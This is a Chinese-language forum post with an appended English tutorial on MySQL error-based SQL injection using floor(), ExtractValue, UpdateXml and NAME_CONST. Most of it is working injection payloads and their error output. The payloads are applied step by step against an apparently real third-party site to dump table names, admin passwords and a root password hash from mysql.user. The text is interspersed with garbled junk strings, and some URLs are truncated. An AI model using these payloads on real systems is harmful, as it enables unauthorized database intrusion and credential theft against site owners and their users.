mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
) S0 Q9 O1 q) q/ @; \6 f9 M首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
* d8 `: ?2 {4 E$ U  c4 p6 q! t3 e& i" V| id | title | content |
; u. c7 _) x$ _% X' B% ~: z8 E+—-+——-+———+
|  1 | test  | do it   |
" U2 z: m" r0 d% {+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
, x: O6 E4 Z- I& ~" D7 W* P* E# VERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
- \  a0 r1 o$ q) F4 X! E例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
" B) G& D  b# o; xERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
+ r) a7 D$ s7 p  J6 o8 O) a) tERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

) h% |% l+ B3 m5 pErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

. I1 F  L# Y; p  VErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
0 F6 P0 u1 _8 I7 s. @& e$ T
4 F  ]- S# i; c$ t+ |& Q3 mMYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.

) ]! r. d" l; u& ]2 V- z
) y( I  n& d5 Y& i/ j; a相关信息

NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
; Y- L+ i1 b" {5 z
- Q1 m  P4 U  C) e! d" uCode:
2 O, h1 {* }) O: C& X4 |: o. DNAME_CONST(DATA, VALUE)
* o4 J& t; X0 O# {& A1 p0 A
' g! b- G! Y( G0 NReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
/ u" j- W% v6 j# G5 P
& U* z, m! t# N" v  u0 L, L( rSELECT NAME_CONST('TEST', 1)

/ Y0 b, E1 ]7 y

3 M: p. c- f% ~* t|---------------|
|     TEST      |
2 ^, F6 r( J. c; z7 }/ [|               |
: Q( l* U0 b" }$ u; N7 ]$ h6 n|---------------|
|       1       |
|               |
) N9 Q4 Q1 t. Y6 f|---------------|


8 E7 k, U. f* F' X- \! [/ G3 E. K& o5 ^

  F. y) t9 t0 O8 t8 w4 M+ Yhttp://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables
6 P( c& K- {% k
Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
/ ]2 O6 N' X9 P" d7 k
: k, ~1 l0 G" G3 dCode:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261

# O; p8 t4 [4 \2 w2 B$ V9 V

0 X, X& F) o$ C% y

. e: @, B% c3 _' h# uCode:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--

# }; k& B! m1 F" Y% C" w6 r
3 J. ^# [  l) N( Y% B$ _  hVAR = Your MySQL variable.
" x8 S6 b' y7 }! C+ u
6 A. G- j. V# o3 w/ gMySQL 5.1.3 Server System Variables
+ i" |1 C! j& B+ I
Let's try it out on my site..

Code:
3 G7 g8 z6 \  L0 a& X4 p, G% Lhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

9 g( w& z2 K$ k5 nErroruplicate column name '5.0.27-community-nt'



( F& S2 c& h0 Z5 g+ |1 k  r8 x
9 D' ]% v  s$ P1 h
3 C) T/ t! J8 C- {Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
9 a8 l# u! t* F5 V
' L, A: K# r8 {9 i" @+ ~, fData Extraction
0 n9 {" h& W* |8 n, t0 j  [
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--


0 [& t3 e1 i7 S) RWe should get a duplicate column 1 error...

Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

+ Q) G' r* o, o5 l7 eErroruplicate column name '1

2 D5 N4 o6 J3 k  _



9 Y3 I0 l: F* E$ m1 @9 x" ]
Now let's get the tables out this bitch..

! x0 t: S! e, p, u; T# k2 \. {Code:
$ E) N& P( d# W, W* k# ~/ P$ C$ n; @" d5 L5 w+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
) x  P: F1 r2 T6 }& W
' \9 [' ?% D/ N2 D2 q
6 N8 H) v+ F  M. VLet's see if it works here, if it does, we can go on and finish the job.
& }! n* L; |5 c2 g) ]" e
( `6 N4 a* u6 }% P- bCode:
/ }3 |9 n6 a8 s& Nhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
+ W. T( W2 p$ c9 l5 e
8 X- G! K1 h2 T0 p6 O& M" b/ E
Erroruplicate column name 'com_admanage
, p2 L( L- i0 S; m' h" {
( ^) A( |0 f; J+ J
  g  h9 h$ s6 k0 p4 p1 E
7 Q& i2 h8 U5 {* N
) s; P3 h4 x; q' P) c

: u- X% N  G  o5 ~/ Z  ]Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.

Let's get the columns out of the user table..

) {$ m# O5 i  p0 \2 PCode:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--

( ^5 y6 \: p0 Z+ {* U4 _! S# R
0 x3 a9 ]# n* X. ^( ISo mine looks like this, and I get the duplicate column name 'Host'.
) E- z" N2 i" n9 H+ s" f
" d& v' `4 o# D8 r+ Q. D  GCode:
% ^  w! L; ?6 thttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

Erroruplicate column name 'Host'

! Y& W# n6 Q0 z3 e



. c. S6 l& Z, [) e, v5 d
Woot, time to finish this bitch off.

Code:
# S% W3 Z5 K1 k+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--


So mine looks like this...

& u4 Y" D& ?" h: ]8 F" y( H4 LCode:
# e& d3 }2 c2 bhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
% q' J, z: p% `
5 M+ g  N; w; d7 jErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'


# J0 n" M2 P9 C% g$ e

: @0 s; S9 ?3 e# t5 h$ r

. `6 m+ n# B* K  ^* e" i5 O# SAnd there we have it, thanks for reading.
  C) Q6 ]; i- }
: m4 s; i/ m1 [/ a